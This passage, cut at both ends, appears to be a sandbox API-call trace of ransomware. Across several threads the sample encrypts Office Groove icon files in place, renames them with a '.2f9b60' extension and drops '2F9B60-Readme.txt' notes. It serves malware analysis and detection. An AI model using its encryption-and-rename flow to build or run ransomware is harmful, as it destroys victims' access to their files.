returned 0x1d785fb5 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x5fd7d654 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x6e38cb12 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x44981b15 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x2a1e243c [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x303a71f4 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x2da53231 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x2d5ccaa1 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x77439370 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x3a7fa2d5 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x5c938c69 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x16407237 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x2b7d2cdb [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x21abd409 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x63571197 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x2edf9987 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0xd1c1377 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x6cda44cb [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x63068cc1 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x7a7835f7 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x9f83d46 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x4b9e3e91 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x61303625 [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x2ade969a [0132.381] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x71869ee9 [0132.382] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x1afca244 [0132.382] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x5c5916a5 [0132.382] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x459ca1a3 [0132.382] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x204e3e0d [0132.382] RtlRandomEx (in: Seed=0x252cf7f0 | out: Seed=0x252cf7f0) returned 0x7ea8ef89 [0132.391] ReadFile (in: hFile=0x1aec, lpBuffer=0x41bcc1b0, nNumberOfBytesToRead=0x14c9, lpNumberOfBytesRead=0x252cf7f0, lpOverlapped=0x0 | out: lpBuffer=0x41bcc1b0*, lpNumberOfBytesRead=0x252cf7f0*=0x14c9, lpOverlapped=0x0) returned 1 [0132.409] SetFilePointerEx (in: hFile=0x1aec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.409] WriteFile (in: hFile=0x1aec, lpBuffer=0x201cc1b0*, nNumberOfBytesToWrite=0x14c9, lpNumberOfBytesWritten=0x252cf7f4, lpOverlapped=0x0 | out: lpBuffer=0x201cc1b0*, lpNumberOfBytesWritten=0x252cf7f4*=0x14c9, lpOverlapped=0x0) returned 1 [0132.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0132.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266cf0 [0132.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266cf0) returned 1 [0132.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201cc1b0) returned 1 [0132.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bcc1b0) returned 1 [0132.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0132.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0132.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd972b0 [0132.428] SetFilePointerEx (in: hFile=0x1aec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.429] WriteFile (in: hFile=0x1aec, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x252cf910, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x252cf910*=0x126, lpOverlapped=0x0) returned 1 [0132.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0132.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a80) returned 1 [0132.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266cf0) returned 1 [0132.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0132.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669c0) returned 1 [0132.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266bd0) returned 1 [0132.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c90) returned 1 [0132.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266cc0) returned 1 [0132.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118610 [0132.440] wcscpy (in: _Dest=0x118610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" [0132.440] wcscat (in: _Dest=0x118610, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg.2f9b60" [0132.440] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg.2f9b60", NtPathName=0x252cf930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1b776770 [0132.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0132.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd230) returned 1 [0132.442] NtQueryInformationFile (in: FileHandle=0x1aec, IoStatusBlock=0x252cf998, FileInformation=0x252cf9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x252cf998, FileInformation=0x252cf9a8) returned 0x0 [0132.442] NtSetInformationFile (FileHandle=0x1aec, IoStatusBlock=0x252cf998, FileInformation=0x252cf9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0132.443] FlushFileBuffers (hFile=0x1aec) returned 1 [0138.520] CloseHandle (hObject=0x1aec) returned 1 [0138.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c9d0 [0138.524] wcscpy (in: _Dest=0x2050c9d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0138.524] wcscat (in: _Dest=0x2050c9d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0138.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0xffffffff [0138.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e18 [0147.163] WriteFile (in: hFile=0x1e18, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x252cf850, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x252cf850*=0xba9, lpOverlapped=0x0) returned 1 [0147.257] CloseHandle (hObject=0x1e18) returned 1 [0147.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c9d0) returned 1 [0147.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278b30) returned 1 Thread: id = 1811 os_tid = 0xce8 [0132.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp")) returned 0x20 [0132.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0132.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af0 [0132.397] GetFileSizeEx (in: hFile=0x1af0, lpFileSize=0x29b6fac0 | out: lpFileSize=0x29b6fac0*=1336) returned 1 [0132.405] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.405] ReadFile (in: hFile=0x1af0, lpBuffer=0x29b6fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29b6fa88, lpOverlapped=0x0 | out: lpBuffer=0x29b6fa40*, lpNumberOfBytesRead=0x29b6fa88*=0x4, lpOverlapped=0x0) returned 1 [0132.411] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0132.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c60 [0132.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266cf0 [0132.412] NtQuerySystemTime (in: CurrentTime=0x29b6f980 | out: CurrentTime=0x29b6f980*=132462177376462000) returned 0x0 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x51aa8fb4 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x586446be [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x2a06dbf6 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x4bb071a0 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x13c064d1 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x5d52c447 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x1788a6b9 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x8705fe4 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x14907e0e [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x1695f671 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x488d352 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x3273c8b4 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x5ac46641 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x5ab3d8ac [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x32ef9dad [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x27bd6250 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x1a85e626 [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x611eba6b [0132.412] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x3ff7346b [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x2bc19ce3 [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x6df8de8 [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x2c97d8a3 [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x53940fe0 [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x77a255d9 [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x35a43b6f [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x11774c57 [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x39f3dfb8 [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x1e2d90ad [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x765e6681 [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x554e4bea [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x1a3c96f8 [0132.413] RtlRandomEx (in: Seed=0x29b6f970 | out: Seed=0x29b6f970) returned 0x6f77f7e2 [0132.425] ReadFile (in: hFile=0x1af0, lpBuffer=0x201c85a0, nNumberOfBytesToRead=0x538, lpNumberOfBytesRead=0x29b6f970, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesRead=0x29b6f970*=0x538, lpOverlapped=0x0) returned 1 [0132.425] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.425] WriteFile (in: hFile=0x1af0, lpBuffer=0x41b39560*, nNumberOfBytesToWrite=0x538, lpNumberOfBytesWritten=0x29b6f974, lpOverlapped=0x0 | out: lpBuffer=0x41b39560*, lpNumberOfBytesWritten=0x29b6f974*=0x538, lpOverlapped=0x0) returned 1 [0132.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d80 [0132.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0132.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b39560) returned 1 [0132.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0132.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7cec40 [0132.437] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.438] WriteFile (in: hFile=0x1af0, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x29b6fa90, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x29b6fa90*=0x12e, lpOverlapped=0x0) returned 1 [0132.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1885d0) returned 1 [0132.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cebe0) returned 1 [0132.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0132.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cec40) returned 1 [0132.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d80) returned 1 [0132.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c60) returned 1 [0132.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d20) returned 1 [0132.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d50) returned 1 [0132.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118610 [0132.485] wcscpy (in: _Dest=0x118610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" [0132.485] wcscat (in: _Dest=0x118610, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp.2f9b60" [0132.486] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp.2f9b60", NtPathName=0x29b6fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1b799160 [0132.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799160) returned 1 [0132.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd230) returned 1 [0132.488] NtQueryInformationFile (in: FileHandle=0x1af0, IoStatusBlock=0x29b6fb18, FileInformation=0x29b6fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29b6fb18, FileInformation=0x29b6fb28) returned 0x0 [0132.488] NtSetInformationFile (FileHandle=0x1af0, IoStatusBlock=0x29b6fb18, FileInformation=0x29b6fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0132.490] FlushFileBuffers (hFile=0x1af0) returned 1 [0138.521] CloseHandle (hObject=0x1af0) returned 1 [0138.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c190 [0138.523] wcscpy (in: _Dest=0x2050c190, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0138.523] wcscat (in: _Dest=0x2050c190, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0138.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0xffffffff [0138.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1db4 [0147.176] WriteFile (in: hFile=0x1db4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x29b6f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x29b6f9d0*=0xba9, lpOverlapped=0x0) returned 1 [0147.259] CloseHandle (hObject=0x1db4) returned 1 [0147.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c190) returned 1 [0147.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 Thread: id = 1812 os_tid = 0xcec [0132.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp")) returned 0x20 [0132.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp", dwFileAttributes=0x20) returned 1 [0132.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af4 [0132.434] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x29d3fc00 | out: lpFileSize=0x29d3fc00*=3896) returned 1 [0132.434] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0xf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.434] ReadFile (in: hFile=0x1af4, lpBuffer=0x29d3fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29d3fbc8, lpOverlapped=0x0 | out: lpBuffer=0x29d3fb80*, lpNumberOfBytesRead=0x29d3fbc8*=0x4, lpOverlapped=0x0) returned 1 [0132.470] SetFilePointerEx (in: hFile=0x1af4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266cc0 [0132.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c90 [0132.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266bd0 [0132.471] NtQuerySystemTime (in: CurrentTime=0x29d3fac0 | out: CurrentTime=0x29d3fac0*=132462177377086000) returned 0x0 [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x58a7296e [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x3447343f [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x7ad44ef1 [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x2ee350ae [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x253c993d [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x5ee98d53 [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x1406a164 [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x2ac62f37 [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x34632593 [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x2cbcaec1 [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x7fa0a987 [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x763e6743 [0132.471] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x1d3fa1d3 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x34af161e [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x1defad14 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x2e3960a1 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x3e74a2c8 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x696c8087 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x22eb00d9 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x10657df0 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x795201c0 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x7c48d006 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x2d1862e3 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x27563cec [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0xe111659 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x2b6beb63 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x2295d114 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x77e2b1a0 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x47641c4f [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x1be3fc95 [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x1bcc8dab [0132.472] RtlRandomEx (in: Seed=0x29d3fab0 | out: Seed=0x29d3fab0) returned 0x7af6022b [0132.482] ReadFile (in: hFile=0x1af4, lpBuffer=0x201c85a0, nNumberOfBytesToRead=0xf38, 